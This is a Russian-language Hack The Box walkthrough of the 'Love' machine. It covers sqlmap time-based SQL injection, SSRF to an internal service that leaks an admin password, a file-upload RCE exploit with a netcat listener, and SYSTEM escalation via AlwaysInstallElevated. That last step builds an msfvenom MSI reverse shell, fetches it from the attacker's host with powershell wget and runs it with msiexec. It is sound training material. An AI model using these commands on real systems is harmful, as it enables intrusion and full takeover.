Содержание статьи
- Разведка. Сканирование портов
- Точка входа
- Точка опоры
- Локальное повышение привилегий
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Адрес машины — 10.10.10.239, добавляем его в /etc/hosts.10.10.10.239 love.htb
И сканируем порты.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Результат работы скрипта
Видим множество открытых портов и работающих на них служб:
- порты 80, 5000 — веб‑сервер Apache 2.4.46;
- порт 135 — служба удаленного вызова процедур (Microsoft RPC);
- порт 139 — служба имен NetBIOS;
- порт 443 — веб‑сервер Apache 2.4.46 + OpenSSL 1.1.1j;
- порт 445 — служба SMB;
- порт 3306 — СУБД MySQL;
- порт 5040 — неизвестно;
- порты 5985, 5986 — служба удаленного управления Windows (WinRM).
10.10.10.239 staging.htb
Теперь внимательно изучим оба сайта в поисках точек для входа, имен пользователей и другой важной инфы. Сайт love.htb встречает нас формой авторизации, но нам становится известна используемая технология — Voting System.
Форма авторизации love.htb
ТОЧКА ВХОДА
Voting System — это несложная голосовалка, написанная на PHP. Наверняка для нее должны быть готовые эксплоиты. Запускаем searchsploit из Kali Linux и находим сразу несколько.
Поиск эксплоитов с помощью searchsploit
Нас интересуют четыре последних эксплоита:
- Первый эксплуатирует SQL-инъекцию для обхода авторизации.
- Второй даст удаленное выполнение кода через загрузку файлов, однако мы должны быть авторизованы в системе.
- Предпоследний эксплоит даст удаленное выполнение кода без авторизации.
- Последний — Time based SQL-инъекция, тоже без авторизации.
Запрос для загрузки файла
Запрос к загруженному файлу
Вариант с обходом аутентификации тоже не работает, а вот вариант с Time Based SQL-инъекцией оказался рабочим. Сохраняем запрос при авторизации в файл (в моем случае req.r) и передаем его в sqlmap, как сказано в описании к эксплоиту.
Запрос при авторизации
sqlmap --dbms=mysql --batch --level=1 --risk=3 -r req.r -p voter
Вывод sqlmap
Далее потихоньку вытаскиваем таблицы с помощью того же sqlmap:
sqlmap --level=1 --risk=3 -r req.r --tables
Но поскольку это Time Based SQLi, это будет очень долго, так что во время работы sqlmap можем тестировать другой сайт. На http://staging.love.htb на странице Demo есть сервис анализа файлов.
Форма анализа файлов
Для проверки сервиса откроем листенер и укажем в форме свой IP. И сразу получим отстук.
Отстук на локальный сервер
В таких сервисах стоит проверять наличие уязвимости SSRF. SSRF — это атака на сервер, в результате которой злоумышленник получает возможность отправлять запросы от имени скомпрометированного хоста. SSRF может использоваться в DoS-кампаниях для маскировки реального источника атаки. Таким образом, уязвимый хост выступает в качестве прокси‑сервера. Для теста SSRF указываем адрес 127.0.0.1 и получаем знакомую форму авторизации.
Тестирование сервиса на наличие уязвимости SSRF
Есть SSRF! Но чем она нам может помочь? К примеру, мы можем просканировать порты, доступные для localhost, а также просматривать сервисы, работающие по HTTP. При сканировании портов мы получили ответ Forbidden от сервиса, за который отвечает порт 5000. Взглянем на него еще раз, используя наш «прокси».
Просмотр сервиса на порте 5000
Мы попали на какой‑то сервис, где можем подсмотреть пароль администратора, а затем авторизоваться на http://love.htb/admin/.
Панель администратора Voting System
ТОЧКА ОПОРЫ
Так как у нас появились учетные данные, осталось проверить последний эксплоит, который даст удаленное выполнение кода через загрузку файла. Но перед запуском взглянем на исходный код эксплоита.
Исходный код эксплоита
Эксплоит должен вызвать коннект на указанный адрес (локальный IP) и порт. Но сначала необходимо создать листенер, который будет принимать данное соединение. Я в таких случаях использую rlwrap — удобную оболочку с историей команд. В качестве листенера возьмем известный netcat.
apt install rlwrap
rlwrap nc -lvp [port]
Затем нужно указать адрес и порт листенера в строках 15 и 16 кода, адрес атакуемого хоста в строке 12, а также логин и пароль пользователя — в строках 13 и 14. Обрати внимание на URL в строках 19–22. В нашем случае на сайте отсутствует каталог votesystem, поэтому и в коде его нужно удалить. Ниже приведен измененный код эксплоита.
Измененный код эксплоита
И после выполнения получаем бэкконнект.
Выполнение эксплоита
Флаг пользователя
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников информации очень много, и в таких случаях пригождаются скрипты PEASS, которые проверяют их все на автомате. Загрузим на локальный хост скрипт для Windows.wget https://github.com/carlospolop/priv...inPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью python простой веб‑сервер. После выполнения данной команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
А теперь с помощью того же powershell wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо выполнить скрипт.
powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\Windows\Temp\wpeas.exe
C:\Windows\Temp\wpeas.exe
В выводе WinPEAS можно обратить внимание на настройку UAC, историю команд PowerShell, а главное — это установленная опция AlwaysInstallElevated.
UAC Status
PowerShell Settings
Checking AlwaysInstallElevated
Эта опция указывает, что любой файл MSI должен устанавливаться с повышенными привилегиями (NT AUTHORITY\SYSTEM). Соответственно, создав и загрузив такой файл, можно выполнять действия от имени системы даже непривилегированному пользователю.
Давай создадим файл MSI с реверс‑шеллом. В этом может помочь Metasploit Framework, а именно модуль msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o r.msi
Генерирование нагрузки
Теперь запустим универсальный листенер в Metasploit. За это отвечает модуль handler, которому требуется знать тип нагрузки, а также локальные адрес и порт, где нужно принимать соединение.
handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321
Создание листенера
Загружаем файл .msi тем же способом, что и WinPEAS, а затем запускаем. Спустя несколько секунд получим новую сессию Metasploit.
powershell wget http://[ip_локального_хоста]:8000/r.msi -O C:\Windows\Temp\r.msi
msiexec /quiet /qn /i C:\Windows\Temp\r.msi
Флаг рута
Мы захватили машину и имеем над ней полный контроль.
Автор: RalfHacker
Взято с хакер.ru